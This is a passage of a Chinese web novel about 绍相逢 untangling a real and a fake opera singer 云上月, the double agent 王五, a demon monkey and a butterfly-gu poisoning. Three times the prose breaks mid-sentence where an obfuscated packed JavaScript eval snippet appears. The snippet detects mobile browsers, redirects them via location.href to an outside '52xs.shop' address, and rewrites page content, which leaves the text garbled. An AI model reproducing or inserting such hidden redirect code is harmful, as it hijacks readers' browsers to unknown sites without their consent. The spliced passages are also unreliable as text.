可他是谁啊,他是被客人骄纵惯了的头牌,不肯向任何人低头。 平日但凡多瞧一眼谁,谁都要捧着银两小心翼翼地递给他,生怕一个不对惹自己不高兴。 云上月唇色发白,颤抖着,仍旧倔着头不吭气。 绍相逢看他的反应,心里已经有了七八分把握。哼笑一声,甩开了他的脸。 拍拍手,站起身,对周严说:“回家吧,我饿了。” 周严不多置喙,顺着小姐问:“吃什么?小的给您准备去。” 绍相逢想想,摆摆手,道:“你给我煲一碗莲子汤去。” 二人旁若无人地讨论着,好像旁边躺着的不是一个濒死的活人,反而是一条死鱼一样。 绍相逢抬腿欲走,右腿忽然沉下去,回头一瞧,云上月伸手扒住了她。 “拽着我做什么?”绍相逢笑问。 云上月不说话。 “我只问你一句,你若答上来了,我便带你回家。”她瞥一眼周严,又对云上月说:“莲子汤也给你喝。” 云上月手上满是血迹,攥皱了绍相逢贴在脚踝上的衣摆,将白色的布料染成了红色,甚是扎眼。 手背青筋鼓起,死死攥着手上唯一能攥住的一点衣料,不放手。 他说:“好。” 绍相逢轻轻叹气,复又蹲身,问:“你是云上月,那台上那个又是谁?” 他听到绍相逢的问话,怔了片刻,然后缓缓松了手。 这个问题,他答不出。 绍相逢踝间的裙摆因那血迹,还粘黏在腿上。 风起,白袍飘荡。 墨蓝的河道上没有一条船,只有浓厚的血腥味。 绍相逢看明白了他的反应,抿起嘴唇,回身看看周严,目光中有些无奈。 她忽然说:“你把他背回去吧,我再返回楼中一探究竟。” 云上月半合上的眼睛忽然睁开了,漆亮的瞳仁落在绍相逢身上。他想要说些什么,可头脑昏沉着,晕了过去。 “遵命。” 他昏迷前最后听见那个男人的低语:“小姐,安心去,后面还有咱的人跟着你呢。” · 流光阁里依旧人声鼎沸,绍相逢甚至还刻意避开了人群,但还是被来往的小厮客人晃花了眼,一时站在原地不知该向何处去。 现在那个假云上月已经不知去向。 绍相逢忽然想到,目前真的云上月在对方眼中或许已经死了…… 无论他要永远扮演‘云上月’这个角色,或是让‘云上月’这个名字永远消失,都要在众目睽睽之下先回到房间。 想到这里,绍相逢立刻顺着侧面楼梯,扶着梨花木的扶手直往上奔。 伶人房间都是有暗道的…… 吱呀—— 绍相逢一路屏退上前问候的老鸨,径直推开云上月的房门,僵在了原地。 “哎呦,绍小姐这是丢了什么东西吗?” 老鸨楞楞地瞧着空荡荡的房间,里面云上月的客人趴在桌上。又瞅绍相逢难看的脸色,笑着解围道:“小姐就算看中了我们云上月,也得安排时间,按着规矩来呀。” 绍相逢斜眼瞥她,视线又转去一旁。 房间内没有任何被破坏的痕迹,暗道也没有打开,那么人一定是走的正门。 大概率出门时还是扮作云上月的样子。 绍相逢上前一探,人还活着,于是毫不客气,摇醒了趴在桌上已经睡过去的男人。 “你同云上月待了多久?”绍相逢单刀直入。 那个中年男人满面红光,眼神迷蒙。腰间挂带上缀满玉饰,约莫是个当官的。他听惯了漂亮话,又猛地遇上绍相逢这么个直接的,反而感到冒犯。何况绍相逢突然闯入,本就瞧着没礼貌。 男人皱起眉,打量着面前这个年少轻狂的女孩,起初还不想说话。定睛一看,见她单是站在那里,就别有韵致,兀地起了些旁的心思。她穿了身白色长裙,毫无刺绣傍身,只从里襟生出几枝墨竹,攀上肩头。再看她身形高挑,肩背却单薄,站得笔直。有些冷清的,近似云上月的矜贵感。除此之外,甚至比云上月多出几分世俗气。两种气韵碰撞,反而新奇。 这提起了他的兴趣。但他自认为也不是什么登徒子,只是愿同她多说两句。 于是便换了心思,好心开口:“他下台后不久,我就在此等候了。你要找他?这可不巧,他只在这里待了片刻便离开了,没交待去处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314031|152367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人红嘛,倒也能够理解。” 绍相逢抱起胳膊,在屋中转了起来,最后走到桌前,捏起桌上糕点放入嘴中。 问:“云上月和你都说过什么?还和谁说过话?” 男人打量着绍相逢,思衬片刻,答:“吃喝玩乐,旁得再无其它。” “哦,对了,他还同一个面生的男人耳语两句。见我不开心,匆匆又散了。” “单说吃呢?”绍相逢在嘴中品起味道,桂花糕在齿间被咬碎了,落入舌尖。那味道有些熟悉,似乎又比熟悉的味道重了一点。那种清冽甘甜的味道,她记得在哪里吃过。 是哪里呢...... 绍相逢脑中电光火石一闪,忽然明白了什么,立刻不动声色地把东西吐进手心里,转身翻找柜子中的线香,燃在香炉中。随着烟气腾起,绍相逢凑上去闻,却没有任何发现任何特别之处。 心里觉得怪,又对着那盘糕点,问:“这是他亲自端给你的?” “是,”男人没发现什么异常,“他原先都拿自己爱吃的,今儿个不知怎么回事,热情起来了。端了这桂花糕上来,我问他,他还说:我知你们京城人乐意吃桂花糕。” 热情、细心、嘴甜。 绍相逢咂嘴点头,心里大约已经有了结果。翻手把那盘桂花糕倒了,转身便出了门去。 听着身后老鸨对客人絮絮叨叨地道歉,那男人则大笑着说‘不碍事’。她谁也没管顾,闷着头‘噔噔噔’沿楼梯一阶阶跑下,又返回院中。 绍相逢在院中闲晃,记得原先有人说过,云上月是小时候从外面戏班跑出来的,所以假云上月一定也有一副好嗓子,甚至需要有一些功底。 绍相逢甚至不太愿意把自己想到的那个名字和云上月联系起来,甚至不肯把那咿咿呀呀的死动静和刚才开口就惊得绍相逢走不动道的声音放在一起比较。 真的是他么...... 绍相逢眯起眼睛,心想:那副破锣嗓...... 她站定,身后走来的人没料到她忽然停下,从身后绕过,小心地端着托盘走进最吵闹的大厅。 正对面的大厅里也亮着灯盏,那里是散桌。中心提供有倡伶歌舞的平台,客人推杯换盏,个个面色绯红。 绍相逢瞧也没往里头瞧一眼,她已经猜到了假云上月去向何方。 · 绍相逢每再往前走一步,都觉得自己判断有误。 或许自己猜测有误,抑或那是只化成人形的妖兽。 河边人身影昳丽,水面波纹层层,倒映着他的身形。远远的,瞧不太清。 他正对着绍相逢。身穿对襟云纹,粉缎绣花。绣了枝挺立的寒梅,从侧摆直穿过右袖袖口。点翠头面,从假发中穿出一支摇翠,几缕流苏叮当作响。 绍相逢深吸一口气,河边空气中的血腥味还没有散尽。 对方脸上的妆容果真如她所想没有来得及卸下。 黑眉深目,红唇白面。那人看上去像是用木桩砸进河边泥沼地似的,一动不动。绍相逢心头浮上了某种错觉,自己面前的不是活人,反而像人身外头套了层假壳子。 “霁风,别装了。” 绍相逢轻轻开口。 5. 再重逢 “然后呢?”侍卫周严问。 绍相逢奇怪地看着他:“没有然后了。” “那个假的云上月根本没有说话,自己就大摇大摆扬长而去,像是被我抓了个现形很满意似的。” “后来真云上月留在府上养伤,看上去乖乖巧巧的,很少说话。当然,他病好之后也自己消失了。” 子时钟声响起,周严起身,替她熄灭了房中灯烛。 这样就不会那么引人注意了。 二人对坐在黑暗中,周严后知后觉意识到这有些冒昧了,孤男寡女,黑灯瞎火的。 他刚要道歉,绍相逢却笑。周严紧张了些,听绍相逢开口。 “知道有外人在,变机灵了,哈。” 外人指的是那个真假不明的云上月。 周严松了口气,默认下来,接着问:“所以小姐您认为,府上这个究竟是真的还是那个假的?” 绍相逢自己低头盘算了一会,没有答案,因为她自己也拿不准究竟府上这个是不是真的。 一来真云上月一定不是眼见的那样纯善。 他有他的秘密。 当年绍相逢询问他是否惹上什么不该惹的人,他没有回答。 通常不回答即代表着‘是’。 但绍相逢问他假云上月可能是什么人的时候,他一个字竟也答不上来。这样一来,便有了两种可能。 一:云上月周围有许多仇家,多到他也分不清究竟是谁要杀死自己。正因如此,他这才猜不到究竟假云上月是谁。 二:云上月参与进什么谋划当中,他背后势力欲要杀他灭口。这样的话,极有可能牵扯到不止一方势力。 不过话又说回来,云上月名头再大,也不过靠唱戏过日子,能受谁牵连?又如何招致这么复杂的一场谋杀?极大可能是他自己就在参与些什么不可告人的事情。 所以今天的陷害,估计也是权利纷争中的一环。 绍相逢把自己的想法剖开了,仔细讲给周严听。她暗中观察着周严的反应,不知对方是否认可这套理论。 只见周严极为严肃地点点头,然后接道。 “那个假的更不消多谈,一看就不是什么好东西。” ......。 绍相逢‘扑哧’一声笑了出来。 周严又担心地问:“可......小姐,你只是救了他,他便要缠上你吗?” 绍相逢尴尬地抬眼,又尴尬地笑笑。 不言而喻。 周严知道这又是她的什么风流债,。 “小姐我说过很多次了......” 周严一开口就是这道理那圣人的,她最厌烦听那一套。 “这就是个巧合。”绍相逢熟稔地扯开话题:“总之,你先去调查他背后是否有人操控。再让人盯紧了那‘云上月’,好生接待他,莫要让他跑走。” “是。”周严被她带偏,应下了差事,又不放心道:“但陛下那里......该怎么办?” 绍相逢思索一会,让他找到证物后务必秘密递交给圣上,才能确保背后搞鬼之人没有机会再做什么。 交代完毕后,绍相逢摆摆手让他下去了。 · 城中夜黑风急。 王五急匆匆走在路上,怀里抱着包袱。 他现在最紧要的事情就是找一个地方落脚,不然什么时候死在妖兽的刀口利爪下都不知道。 耳边风声疾驰,天又冷了,刮得他耳朵生疼。 呼吸里都带上了一些颤音。 王五双手合十,拜天拜地:“天地老爷,饶我一命,小的明日便去寺庙给您上香......”话还没说完,眼前忽然闪过一道黑影,一个有几丈高的活物,自身后扑上来。 “啊啊啊啊啊!!!”王五大叫着闪开。 凝神一看,是一只几丈高的猴子。张开它的血盆大口,似是一口就能吞下一个人。涎水从舌面下滑,濡湿了猴毛,滴滴答答往下流淌。血腥的暖气扑面而来 王五被直冲面门的臭气熏得闭上了眼,妖猴大嚎一声,声浪吹得王五直往后倒,头发都竖了起来。 要问那猴究竟为什么不立刻吃下他,王五不知道。他吓得腿已经软到走不动了,战战兢兢地瞧着妖物,妖物也正张着大嘴左右摇晃。 “它在比划自己能不能一口吃下你。” 耳畔忽然传来一个女声,清凉的,镇静的。 王五惊得回头看,后面似乎还有别人跟上来了,但距离太远,瞧不太清楚。 上下打量一番才能确认,眼前这个一身白衣的女子。 绍相逢。 绍相逢为什么会来? 她、她、她要干什么? 王五不可置信地看着她走上前,面前是仰头望不到顶的巨兽,两侧是早关了门的小摊。 女人站在妖猴的大嘴前,蚍蜉撼树般微小。 王五顾不得惊慌,只大声喊:“你武功好吗???” 接着听见前方迅疾风声中传来一个极其微弱的回复。 “不太好......” 那声音很快消失在风中。 王五绝望地站在原地,几乎要哭出声了。并不是因绍相逢舍己为人的行为而感动,而是他实在走不动路了。 他心中暗喊着救命,不知谁能来救一救他。 长街上四顾无人,唯明月高悬。 他只能把所有希望放在绍相逢这个看起来并不怎么靠谱的女人身上。 视线转回,只见绍相逢极轻巧地点地,紧接着手里不知道多出一个什么物什,踩着妖兽的侧腰,一路向上。月光照出她的侧影,发带翻飞,面色沉静。 妖猴觉得身上像跳上来了个虱子,左挠右抓得不自在,它每跳一下,地面的尘土就要被它掀起。 王五被风尘吹得闭上了眼睛,剧烈咳嗽起来,咳弯了腰,什么都看不清了。 同一时刻,绍相逢已然攀上了妖猴的肩头,妖猴扭头来看,一人一妖对视。 妖猴的瞳色霎时间染成血红,它开始狂躁,左右摇摆着前臂,想要把这个怪人赶紧摔下去。 绍相逢却不为所动,右手扯开它的腮帮,熏天的血腥味从它口腔中冲了出来。它被迫再次张开了嘴巴,绍相逢抓住这个时机,踩着它的牙齿倾身闯了进去,接着怪物牙关闭合,再没人能看见绍相逢了。 王五这边咳嗽完了,直起身来,不可置信地眨了眨眼睛。 “人呢......” “人,哈哈,她早被那怪物吃进嘴里了哦——” 意料之外听到了回答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314032|152367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王五被吓了一个激灵,转头去看身后,一个纤瘦高挑的人影,正抱着双臂,欣赏着这月下吃人的盛景。 他慢慢上前,王五目不转睛地盯着他,一时间忘记了身处怎样的境地。 王五想起了水里还未开智的水妖,诡谲艳丽。 老人常说,那种妖兽心智如同幼童,肯为了寻开心做出任何事。 王五听远处轰隆一声巨响,是那妖猴倒下了。紧接着妖猴嘴中像发射箭矢似的接连吐出什么,‘呼噜呼噜’地不间断喷出,最后吐出一个人。那人一跃而起,腾飞在半空之中。 “哎呀......”那男人垂下眉,好像很伤心似的:“她竟然没有死,可惜了。” 王五看呆了。 就在他以为那妖猴死了的时候,它却心满意足地摸了摸肚子,又一个大跳起身,消失在长街尽头。 王五哆嗦着上前,看看完好无损的绍相逢,问:“你刚才都做了些什么?” 绍相逢又摆出那副混不吝的纨绔样子,从袖口中扯出一块手帕,擦干净了手,反手丢到王五怀里,示意他洗干净后还给自己。接着耸耸肩道:“香蕉啊,我喂它吃了几串香蕉,猴子不都爱吃吗?” “嗯???”王五瞪大眼睛:“就这样?” 绍相逢郑重点头:“嗯!” 她的目光划去一侧,眯着眼睛,皱起眉,颇有敌意地盯着另一个人,怪道:“你怎么出来的?” 男人笑得眼角弯弯,往前凑近两步,道:“你以为你府上那些废物能看住我?太不自量力了吧......” 他用只有彼此能听见的音量说:“我随时都在期待,你什么时候会死掉?” 绍相逢气急反笑:“那你大可以回去了,云上月。能够置我于死地的人还没有生下来呢。” 云上月大有一副看戏的神情,似笑非笑:“就连那个小皇帝都不行?” 他并没有等绍相逢的回答,立刻扭身离开,摆着手,远远道:“咱们走着瞧喽——” · 城郊草屋中。 绍相逢斜靠在门边,月光洒进屋中,照得王五背影清晰。 他正在收拾行囊。 “小姐,为何如此费尽心机地前来救我?”他的背影被拖长了,一股鬼魅气息油然而生:“小的不过是可有可无的一介闲人。” 绍相逢弹指,点燃了烛火。 她好笑道:“演上瘾了?你这文绉绉的书生气都藏不住了。” “别装,不像。”绍相逢总结道。 “能骗过你府里那群蠢货不就好了?”他反驳道:“请对你身边【唯一】一个心腹好一点,这样他才不会叛变。” 王五撕下脸上一层面皮,体面地收在匣子里,仍是背影对着人。 绍相逢随手摸过桌案上的针线,一眨眼的功夫,便以闪至王五身后,针尖抵在他喉头。 “我虽武功一般,处理掉你却绰绰有余。”她弯下身,看着镜中的男人和自己,在他耳畔轻声道:“更何况,你现在的处境并不比我好吧?我劝你,再也不要讲这种让人不放心的话了。” 王五被人威胁,心态却好得很,并不恼火,只笑眯眯说:“好的,小姐。” 他顿了顿,又问:“今夜找小的,是有什么要紧事吗?” 6. 再重逢 绍相逢盯着镜子中他的那张脸,寡淡又陌生。 他脸上透出一股麻木之色,漠然看着镜中二人。 绍相逢开口,念了三个名字:“王五、云上月、霁风。” “认识你这么久了,连我自己都不清楚该称呼你什么。” “小姐,叫小的王五就好。”他平静道。 绍相逢笑了笑,切回正题:“自从前月京城莫名其妙递来那条传讯之时,我便预料有诈。” “上面所书的秘密,事关皇家血脉之正统。他们口中所说回到京城之计,即颠覆李家皇室。” 王五倒吸一口凉气,惊讶这群人也太过大胆:“那为何不直接销毁?” 绍相逢撇了撇嘴,心道这王五太小瞧人了。 “我收到后立刻又将其完整地存了回去。” “因周严是圣上直系亲信。因此我当着周严一人的面,演了场思乡戏码,同过去许多家书交由他一并烧毁了。” “倘若他背地里拆开看过,那么在他那里,我从未见过信中内容。” “如果他没有看过,那么圣上也无从得知信文内容。” “这样不就结束了吗?”王五又问。 “有心之人随时可以伪造再陷害喽。”她缓缓道:“只烧毁太不保险。” “京城那些仇家既然想我死,那他们做出的下流事,当然要大家都知道才好。因此我将竹盆中的密文,换成了一些达官显贵的丑闻,再经由你手假意卖给了云上月。” 说到这里,绍相逢扬了扬下巴,示意他交出东西。 “我知道云上月给了你一锭金子,那周严也给了你不少好东西吧?那个滥好人是这样的。” 王五猛猛摇头。 绍相逢无奈继续说道:“他们认为我身边无一可用之人,于是放松了警惕,还不等确认密文正误,云上月便急匆匆来找我示威。” 她总结:“所以那棵竹子中现在并没有什么东西能威胁到我,如果直接送去陛下手中,那便能证明我的清白。但倘若是经由他人之手再转交给陛下,我们就无法确认里面装的是什么了。” “而从锡水到京城,唯一一种不会出岔子的路径,就是那个监视我的老古板——周严。” “所以我才透露给他真假云上月的事情,因他并不知晓,你就是当年那个假的云上月。” 绍相逢抬手描摹着镜中假云上月的脸庞,她深知这是自己唯一一张保命牌。 王五听她说完,疑惑道:“可既然你已经知道府里那个是真的云上月了,何必要让周严再去调查?” “当然要支开他,扰乱他的视线。不然怎么留给你机会行动呢?” “所以您是要......” “对,我要你打这个时间差,先一步去找到那棵竹子,确认好里面的东西还是原来的样子,再确保周严能拿到手里。这样是最稳妥的办法。” “明白。” 外面小院中树影婆娑,顺着窗户打在屋内,摇摇摆摆。 绍相逢顿了顿,站起身道:“我该走了,不然那边要起疑了,你多保重。” 王五点头:“你也是。” 绍相逢转身,刚要迈步出院,身后王五又喊她:“那今夜......云上月知道你救我,没事吗?” 他措辞显得有些小心,绍相逢听得明白。 绍相逢一副全盘掌控的得意神情,挑眉道:“不用担心,他目前对所有搞不死我事情都没兴趣。” 王五一时间有些恍惚,透过她离开的背影,想起了第一次见面时,绍相逢也是这样自负。 她倚剑斜桥,接住了甩来的水袖,说: 霁风,做我的线人,我保你能活下去。 · 几日后,经过绍相逢的多方寻觅,终于找到了一个会看妖毒的郎中。 对方很不情愿,于是双方拉拉扯扯,最后用四两银子才解决。 好不容易领着郎中进府了,结果一踏进院,便听云上月那头在屋中又摔又砸,不让任何人靠近。 绍相逢微不可闻地‘啧’一声,看了下郎中,对身后的侍女道:“领唐大夫去正厅等候,我去看看他又在发什么疯病。” 唐大夫一听‘疯病’二字,更是心里没底,偷偷瞄了眼那屋中情形,便缩着脑袋跟侍女离开了。 绍相逢深吸一口气,往云上月所住的客房方向走。 她屏退了围在云上月门口的小厮侍女们,直往里去。 吱呀—— 才推开屋门,一个花瓶便朝着她面门飞来。 距离鼻尖还有一寸距离,绍相逢忽然掀起眼皮,反手扣下瓶身,气道。 “看在你我曾有过一段旧情的份儿上,我给你找郎中来看病,有何不妥?” 云上月看进来的人是她,也跟着安静了一刻。 她四处打量,屋里被那云上月砸得乱七八糟。目光落在了窗台合页处,布满灰尘的台面上隐约看见了一道痕。 他所住的偏屋,冬日鲜少开窗,小厮也懒散,不愿打扫。 “你有冬日开窗的习惯?”绍相逢问。 云上月一顿,很无语似的扭过头去,不作回复。 绍相逢无所谓他的答案,把花瓶拿在手中把玩,撩开衣摆坐在茶几前,搁下花瓶,懒洋洋道:“这可是前朝古董,你就这么摔了,拿什么赔我?” 男人瞪视着她,余气未消一般,咬着牙齿‘咯咯’响。 绍相逢奇道:“哟,知道的以为是你要杀我,不知道的是我要杀了你呢。” 再一瞧,他不说话了。 为什么不说话? 绍相逢颇觉古怪,歪着头凑近去看,他低着头,表情全被挡住了。 “你怎么了?” “我不看郎中。” “为什么?” “不喜欢。” 绍相逢更觉蹊跷了。 “为什么不喜欢?” “与你无关。” “你不看大夫,就不知道毒气在你体内循环到几层了。就没办法知道问题出在哪里,不知道问题出在哪里,就......” 他打断道:“让我死了好了,反正你也快死了,谁也别好过。” ......? 绍相逢竟真的凝神细想了一下他的提议,然后反驳道:“估计不太可能,因为我死不了。” 她看着云上月不可置信的眼神,心里乐了,但面上不表现分毫。 “对喽,我死不了,那你还活不活?” 云上月眯起眼睛:“不可能,她说你必死无疑,绝无翻身之机。” 绍相逢借机上前,故意挨近他:“你们行动之前竟然也不查清楚我究竟是个怎样的人么?能在十年前宫变事件中活下来,流放十年仍旧毫发无损的人,这么轻易能被几个小贼打发?” 她说话的时候,俯身擒住他的手腕,掌心暗中用劲,灌入内力。 毫无妖气,更遑论妖毒了。 绍相逢不动声色,暗道一声骗子。 而另一边云上月感受到了她的动作,猛地抽出手腕。 绍相逢紧盯着他的反应,却发现他只是揉一揉手腕,阴阳怪气地说:“原来这就是绍小姐的做派?怎么样,看清楚了么?是不是妖毒?” 他到底知不知道自己的状况? 没有回答他,绍相逢有些摸不着头绪。 召进大夫来,照常给他开了方子,照常让他吃药。 云上月出人意料地没有再闹了,只是静静地把手伸出去把脉,静静地等待大夫写好药方。 然后所有人都离开了他的房间。 云上月看房门被关严实后,懒洋洋从背后摸出一张信纸,反复看了两遍,上面竟只写了八个大字。 【安稳人心,伺机而动】 双指夹住纸页,轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314033|152367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一甩,他向着信纸轻轻一吐气。 霎时间,一簇火光腾飞,滋滋啦啦的响声不断。 再看时,他手上已经什么都没有了。 · 正厅中。 绍相逢正在送客,她借机问郎中,道:“方才嘱咐您莫说实话,现在可以说了,他究竟有没有病?” 想了想又补充道:“是身体上的病症,还是......”她指了指脑袋:“闹什么癔症疯魔了?” 郎中左右看都无人,才放下一口气。 绍相逢看他紧皱的眉头,心也随之提了起来。 郎中犹豫一会,终于开口:“他其实并非中了妖毒,反而是被人下了蝴蝶蛊。” “嗯?”绍相逢没有太惊讶:“这蛊有什么作用?又为什么叫蝴蝶蛊?” “蝴蝶啊......”他道:“庄生梦蝶,蝶也梦见了庄子。两个都是现实,两个也都是梦境。蝴蝶蛊便是让人能感受到双倍现实的蛊。” 听郎中又说:“其实这种蛊最初是让练功之人五感增强,以便增长功法的。结果不知何时被人用作邪道,于是就变成了审讯时模糊意志,让人痛觉更明显的蛊毒了。没有办法根治,但也不会伤及性命。” 云上月被人捉去审讯过吗?还是别的什么? 这几年里他都做什么去了? “不过还请小姐放心,药方中的药物虽无法根除,但却能够稍微压制蛊毒。” 绍相逢若有所思地点头,道:“好,我知道了。” 郎中欲要离开,又听绍相逢叫住他道:“请留步,我还有一个问题。” “请讲。” 绍相逢思索着,她不知道该要怎么去形容,但还是把自己的感受说了出来。 “就是......大夫您觉得这种蛊毒......它会影响一个人的感情吗?” 郎中一敛衣袖,站直了。 “当然,这是最明显的副作用。” “让一个人对感情的认知更偏颇,若恨便更恨,爱则更爱。” · 郎中离开了,绍相逢独自一人走在廊下,天已昏黄。 远远的,绍相逢感觉自己好像看见了一道黑影攀上院墙。 她快步上前,一把拽住那小贼的靴子,手腕一转,紧扣住他的脚踝,顺势往下一拖。 啪—— 绍相逢拍拍手上尘土,看着摔在地上的云上月,无奈道:“你别跑了,你就算跑到万里之外,我也要抓你回来。” 云上月不解:“我现在又害不了你了,抓我回来干什么?” 她挑高眉头,理所当然道:“回来吃药啊。” ...... “我不吃药。” 僵持片刻,看着云上月壮士一去不复返的气势,绍相逢先泄了气。 原因是她开始有点可怜云上月了。 在蝴蝶蛊的作用下,对他来说,中药大概比毒药还难喝。 看在是老熟人的份上,无论他自己知不知道,但绍相逢会告诉他,他不会死这件事情。 绍相逢清楚,一个人倘若掐着日子过活,那才叫真的命不久矣。 “告诉你个好消息,”她道:“你没中妖毒。” “但你身体状况太差了,如果不吃药调理,那才是真的活不下去。” 看着他将信将疑的目光,绍相逢也越来越琢磨不透,偏不提‘蝴蝶蛊’的事情,又说:“不信我?那你自己去看药方,是不是寻常治疗伤病的药材。治疗妖毒的药材可贵重许多。” 或许他所以为的妖毒,就是路边随便一只小妖,闲来无事,上前揍了他一拳,然后逃之夭夭了。 又或许,他从头到尾没有一句实话。 谁知道呢。 云上月看着她的眼睛,想要在其中确认什么。可她的眼睛太清澈,什么也看不到。 他皱了皱鼻子,转身又要翻墙。 7. 再重逢 绍相逢看着他费力翻墙而上的背影,腰间铃铛串劈里啪啦响。她抱着胳膊直乐,最后笑到没劲儿了才说:“商量一下吧。” 正骑在墙头的黑影猛地扭头,极不信任地看向她。 恰逢此时,墙外远处的天空中忽然升起一朵烟花。铁黄色,绚烂的。 云上月下意识回头,火光照在他侧脸,陷入一片暖黄光晕中。 “今夜十五,街上有灯会。我记得你想去。”绍相逢说:“但你回来要老实吃药。” 他定了一会,不知道在犹豫,还是在怀想曾经对绍相逢说过,自己做梦都想去灯会的事情。烟花接二连三升起,但不见响。 他们二人之间,只有风吹铜铃,轻轻摇摆的声音。 “......” 云上月看着她,想问点什么,最终摇摇头作罢。 他说:“这是你自己非要留下我的。” · 云上月因最近锡水不太平,所以逛得不踏实,哪怕两人身后跟着个周严。 绍相逢走在人群当中,左顾右盼。 感觉她好像在找什么东西,云上月冷声怪气道:“怎么那么紧张?遇见哪个旧情人了?” 周严不解地看了看小姐,心里嘀咕:她紧张? 横了云上月一眼,绍相逢反击道:“是哦,怎么,不满意?” 云上月沉下脸色,不吭声了。 绍相逢心里也是一团乱麻,丝毫不想理会他。 周严已经回程,但王五那边却没有任何一丁点消息。照两人之前的约定,倘若事情成功了,那他便在巷口摆一个鱼筐,如果失败则在旁边的松树上栓一根红绳。可现在巷口什么都没有。 什么情况?王五出事了? 绍相逢暗地留意着周严,他只是一如既往地跟在自己身后,并无异常。 “周严,还没来得及问你,事情办得如何?” 周严不着痕迹地瞥一眼云上月,云上月横移开眼神,偏要留下听一听。 周严见小姐不排斥,于是低声说:“都处理好了,那个女人跑了,竹子似乎有问题,却说不上什么问题。于是我连人带竹子一并送往京城去了。” 绍相逢抬眼瞧他:“会不会出差池?” “不会,一路都是由陛下手底下的探子押送,也不可能落进他人手中。” 绍相逢的眉头没有松解,她垂下眼,心想一切都解决了,可王五却不知所踪...... 二人谈话间,云上月不见了踪影,却忽听远处有人叫喊:“恭喜这位公子获得奖品——” 抬头望去,云上月仰着下巴,等人给他送上奖品。接着又一指旁边的花灯,道:“那个我也知道。” 他好像对解灯谜很感兴趣。 “一月十五夜,天上亮如昼。” 云上月抱着胳膊,不屑道:“元宵节。” “高台对映月分明。” “日云,昙。” 绍相逢看小贩脸色已经快挂不住了,奖品一个个揣进云上月怀中。 她捂着嘴笑,上前打断,使坏问:“为什么是昙?” 云上月一愣,还没想过别人会问他这个问题:“这......” 磕磕绊绊半天都打不上,但也不好直接说不会,冷哼一声。当然他也看出了那小贩的难处,把一怀的礼品摊在桌面上,自己挑拣起来。 “我就要你一个东西,方才那几盏花灯都挂回去吧。”他道。 绍相逢对云上月乐道:“我不是要拆你台啊。” 云上月没听见似的不理会。 绍相逢转而问老板:“我能不能也答一个?” 老板一边收拾着云上月放下的礼物,一边爽快道:“好嘞,稍等啊您。” 老板从桌板底下提上来一个箱子,里面满当当都是纸条。绍相逢探手进去,摸出来一张纸。 她裹紧了裘衣,想了会,摇摇头,又把纸条放了回去。 云上月凑上来想看:“让我看看喽,你不会不代表我不会。” 绍相逢只是笑,摇摇头,深吸一口气,吐出片长长的白雾,转而问:“让我看看你最后选的哪个礼物?” 云上月展开手,里面是一只缝着小兔纹样的挂坠。他瞧着绍相逢惊讶的表情,嗤笑一声,边往前走,边随手抛给绍相逢。 “干什么送我这个?”绍相逢双手一合,刚好接下。 “送过你一个,被你弄丢了。”他脚步更快了,讽道:“你既然这样不在意,那就再送你一个,不行?” 绍相逢快步追上去,“前几天还恨不得让我死,今天如何又这样?” 云上月忽然停下,道:“不愿意?那还回来。” 绍相逢不肯,就这个话题纠缠不休:“为什么你能答上那么多的谜底,却不知其中缘由?” “背下的。” “嗯?” 云上月冷着脸解释:“过去住在戏班子时,羡慕旁人口中灯会打灯谜,自己就偷偷趴在被窝里背谜底,希望哪天能用上。可我没法出门,因为时时都要练功,否则就会挨打。那时候能吃上口热饭就开心得要命。” “后来年纪大一点,能登台了,腌臜事只多不少。就更没心思去了。”他想着什么:“就比如我们第一次见面的流光阁,里头就鱼龙混杂的。除了唱戏的,还有招待客人的,甚至......” 他不想继续说下去了,看着身旁穿行的人,和眼花缭乱的彩灯,最终吐出一口气。 “我们这种人,需要不断低头再低头,向一切看不惯的人低头,不断放下身段,才能在这个世道中活得更好一点。” 绍相逢看着他若有所思的神情,问:“那你呢?爱唱吗?” 他随意道:“没什么喜欢不喜欢的,我没得选。”然后又淡淡瞧着绍相逢:“你们官家子应当很好过日子吧?闲了召个小倌,忙起来可以把任何人丢到一旁不用管顾?” “或许只需要向皇帝点头哈腰就足够了......” 他是故意在讽刺,但讽刺中又忍不住带上一点羡艳。只需要让一人开心,便能随心所欲活下去的日子,对云上月而言实在难以想象。 因此绍相逢并不觉得冒犯,她驳道:“我不向任何人低头,依然活得很好。” “凭什么?”云上月皱起眉头,脱口而出。 连他自己都没想到第一句话不是‘为什么’,而是‘凭什么’。 他感觉自己这种问法奇怪,于是轻咳了下,转而问:“为什么?” 绍相逢指了指自己的脑袋:“凭本事吃饭喽——这世界上所有人都想让我做选择,可我偏不。” 云上月嘲讽似的扫了她一眼。 